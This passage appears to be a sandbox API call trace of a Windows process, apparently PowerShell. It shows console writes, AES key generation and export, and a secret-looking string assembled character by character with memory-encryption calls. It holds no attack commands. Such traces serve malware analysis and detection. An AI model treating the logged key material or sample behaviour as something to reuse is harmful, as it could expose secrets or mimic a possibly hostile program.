lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.736] GetConsoleOutputCP () returned 0x1b5 [0245.736] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.736] GetConsoleOutputCP () returned 0x1b5 [0245.736] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.736] GetConsoleOutputCP () returned 0x1b5 [0245.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.737] GetConsoleOutputCP () returned 0x1b5 [0245.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.737] GetConsoleOutputCP () returned 0x1b5 [0245.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.737] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0245.738] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.738] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2507014*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2507014*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0245.738] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.739] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0245.740] EtwEventActivityIdControl () returned 0x0 [0245.740] EtwEventActivityIdControl () returned 0x0 [0245.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.741] EtwEventActivityIdControl () returned 0x0 [0245.741] EtwEventActivityIdControl () returned 0x0 [0245.741] EtwEventActivityIdControl () returned 0x0 [0245.743] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.745] EtwEventActivityIdControl () returned 0x0 [0245.745] EtwEventActivityIdControl () returned 0x0 [0245.745] EtwEventActivityIdControl () returned 0x0 [0245.747] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0245.749] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99920) returned 1 [0245.749] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.749] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.749] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x250e9ec, pdwDataLen=0x5a2e8c4 | out: pbData=0x250e9ec*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.750] EtwEventActivityIdControl () returned 0x0 [0245.750] EtwEventActivityIdControl () returned 0x0 [0245.750] EtwEventActivityIdControl () returned 0x0 [0245.751] SysStringLen (param_1="") returned 0x8 [0245.751] SysStringLen (param_1="x") returned 0x8 [0245.751] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.751] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0245.751] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0245.751] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.751] SysStringLen (param_1="x4") returned 0x8 [0245.751] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.751] SysStringLen (param_1="䒹ӿⱽ釭㲱仃ㄣ䮑") returned 0x8 [0245.751] SysStringLen (param_1="䒹ӿⱽ釭㲱仃ㄣ䮑") returned 0x8 [0245.751] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.751] SysStringLen (param_1="x4E") returned 0x8 [0245.752] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.752] SysStringLen (param_1="㾻朹ᤤ䮁尋촟䇡綈") returned 0x8 [0245.752] SysStringLen (param_1="㾻朹ᤤ䮁尋촟䇡綈") returned 0x8 [0245.752] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.752] SysStringLen (param_1="x4Ec") returned 0x8 [0245.752] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="帉ٳꭃ㱓陖놵걭웪") returned 0x8 [0245.753] SysStringLen (param_1="帉ٳꭃ㱓陖놵걭웪") returned 0x8 [0245.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="x4EcO") returned 0x8 [0245.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="༧狲镌믾킟଀藰쒩") returned 0x8 [0245.753] SysStringLen (param_1="༧狲镌믾킟଀藰쒩") returned 0x8 [0245.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="x4EcOd") returned 0x8 [0245.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="䂰ꂈ᭴崼ឋꎫ礡") returned 0x8 [0245.753] SysStringLen (param_1="䂰ꂈ᭴崼ឋꎫ礡") returned 0x8 [0245.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.753] SysStringLen (param_1="x4EcOdP") returned 0x8 [0245.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.754] SysStringLen (param_1="咻案ᱝ⇷ᮞ齀猨뽤") returned 0x8 [0245.754] SysStringLen (param_1="咻案ᱝ⇷ᮞ齀猨뽤") returned 0x8 [0245.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.754] SysStringLen (param_1="x4EcOdPg") returned 0x8 [0245.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.754] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\⋞) returned 0x8 [0245.754] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\⋞) returned 0x8 [0245.754] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\⋞) returned 0x8 [0245.755] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\⋞) returned 0x10 [0245.755] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.755] SysStringLen (param_1="x4EcOdPgMݫ킳慈띁᏿") returned 0x10 [0245.755] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.755] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\秞墏弾鳣⑖憗礌⋕) returned 0x10 [0245.755] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\秞墏弾鳣⑖憗礌⋕) returned 0x10 [0245.755] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.755] SysStringLen (param_1="x4EcOdPgMm킳慈띁᏿") returned 0x10 [0245.755] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\䟞켡꽈缹來젩铊氳∔) returned 0x10 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\䟞켡꽈缹來젩铊氳∔) returned 0x10 [0245.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.756] SysStringLen (param_1="x4EcOdPgMmQ慈띁᏿") returned 0x10 [0245.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\矞울꥘蛸뇘펷魮⒫∈) returned 0x10 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\矞울꥘蛸뇘펷魮⒫∈) returned 0x10 [0245.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.756] SysStringLen (param_1="x4EcOdPgMmQL慈띁᏿") returned 0x10 [0245.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\㷞ﭬ㗎ಊᵛผ쟞愒≃) returned 0x10 [0245.756] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\㷞ﭬ㗎ಊᵛผ쟞愒≃) returned 0x10 [0245.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.757] SysStringLen (param_1="x4EcOdPgMmQL/띁᏿") returned 0x10 [0245.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.757] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\䏥륨๜ꗉ逘欦∞) returned 0x10 [0245.757] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\䏥륨๜ꗉ逘欦∞) returned 0x10 [0245.757] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.757] SysStringLen (param_1="x4EcOdPgMmQL/m띁᏿") returned 0x10 [0245.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.757] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\헞咵뱞졭딴졉豄냳⋿) returned 0x10 [0245.757] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\헞咵뱞졭딴졉豄냳⋿) returned 0x10 [0245.757] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.757] SysStringLen (param_1="x4EcOdPgMmQL/mN᏿") returned 0x10 [0245.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.758] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\寞闩뻀ﷂﾽᯙő∺) returned 0x10 [0245.758] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\寞闩뻀ﷂﾽᯙő∺) returned 0x10 [0245.758] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.758] SysStringLen (param_1="x4EcOdPgMmQL/mNs") returned 0x10 [0245.758] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.758] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅") returned 0x10 [0245.758] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅") returned 0x10 [0245.758] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅") returned 0x10 [0245.759] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅") returned 0x18 [0245.759] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.759] SysStringLen (param_1="x4EcOdPgMmQL/mNsj屢淘崓˟⹘䖯茾") returned 0x18 [0245.759] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.759] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅䔮䓏DZ쳌ꦎ㼿핟䟁") returned 0x18 [0245.759] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅䔮䓏DZ쳌ꦎ㼿핟䟁") returned 0x18 [0245.759] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.759] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx淘崓˟⹘䖯茾") returned 0x18 [0245.759] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.759] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅獔乺ⷑꭴ晓문䑀ꁒ") returned 0x18 [0245.759] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅獔乺ⷑꭴ晓문䑀ꁒ") returned 0x18 [0245.759] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.759] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7崓˟⹘䖯茾") returned 0x18 [0245.760] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅㪎뫥殁䴀唎轼") returned 0x18 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅㪎뫥殁䴀唎轼") returned 0x18 [0245.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.760] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7a˟⹘䖯茾") returned 0x18 [0245.760] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅瞬馋揚ꅮ䅻黷萛Ἐ") returned 0x18 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅瞬馋揚ꅮ䅻黷萛Ἐ") returned 0x18 [0245.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.760] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7ap⹘䖯茾") returned 0x18 [0245.760] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅\䓟૔x㿳렲氷둱⊵) returned 0x18 [0245.760] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅\䓟૔x㿳렲氷둱⊵) returned 0x18 [0245.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.761] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE䖯茾") returned 0x18 [0245.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.761] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅鱥ҿ䃴⛄፦励亪ㅑ") returned 0x18 [0245.761] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅鱥ҿ䃴⛄፦励亪ㅑ") returned 0x18 [0245.761] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.761] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2茾") returned 0x18 [0245.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.761] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅\㏙旈毇ࡓ쬤쭤湮≞) returned 0x18 [0245.761] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅\㏙旈毇ࡓ쬤쭤湮≞) returned 0x18 [0245.761] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.761] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2u") returned 0x18 [0245.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.762] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ") returned 0x18 [0245.762] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ") returned 0x18 [0245.762] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ") returned 0x18 [0245.762] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ") returned 0x20 [0245.762] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.762] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNਣ㕏嘂艥悉凊햿") returned 0x20 [0245.762] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.762] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄኆ恁ﶗ諊࿍") returned 0x20 [0245.763] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄኆ恁ﶗ諊࿍") returned 0x20 [0245.763] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.763] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNc㕏嘂艥悉凊햿") returned 0x20 [0245.763] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.763] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ㐟눲堖뗎ꭗ줻뿁韽") returned 0x20 [0245.763] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ㐟눲堖뗎ꭗ줻뿁韽") returned 0x20 [0245.763] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.763] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNcz嘂艥悉凊햿") returned 0x20 [0245.763] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.763] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄƠ妹熁螿緶ຐျ") returned 0x20 [0245.763] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄƠ妹熁螿緶ຐျ") returned 0x20 [0245.763] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.763] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczg艥悉凊햿") returned 0x20 [0245.763] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ瑋処ࠫ韂泲ࠃ礩") returned 0x20 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ瑋処ࠫ韂泲ࠃ礩") returned 0x20 [0245.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.764] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgP悉凊햿") returned 0x20 [0245.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄﴥ宕볈凞밲ꈼ뜽") returned 0x20 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄﴥ宕볈凞밲ꈼ뜽") returned 0x20 [0245.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.764] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh凊햿") returned 0x20 [0245.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ䋘例㤣䩔﫛ᜠ⢐訍") returned 0x20 [0245.764] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ䋘例㤣䩔﫛ᜠ⢐訍") returned 0x20 [0245.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.765] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh3햿") returned 0x20 [0245.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.765] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ➜긣㻘数꒬⠪芳") returned 0x20 [0245.765] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ➜긣㻘数꒬⠪芳") returned 0x20 [0245.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.765] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36") returned 0x20 [0245.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.765] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘⋩) returned 0x20 [0245.765] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘⋩) returned 0x20 [0245.765] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘⋩) returned 0x20 [0245.766] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘ⓩ∬) returned 0x28 [0245.766] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.766] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+┟윯늣⢽⫁") returned 0x28 [0245.766] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.766] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘é꩜䊪ܾ㓗㋼ᘟ쨊⋪) returned 0x28 [0245.766] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘é꩜䊪ܾ㓗㋼ᘟ쨊⋪) returned 0x28 [0245.766] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.766] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+G윯늣⢽⫁") returned 0x28 [0245.766] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.766] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘ⷩ䒤턬ⴀՏ낇颶쵈⋻) returned 0x28 [0245.767] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘ⷩ䒤턬ⴀՏ낇颶쵈⋻) returned 0x28 [0245.767] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.767] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG윯늣⢽⫁") returned 0x28 [0245.767] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.767] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘\釞ꥋᛄ㠭电凛") returned 0x28 [0245.767] SysStringLen 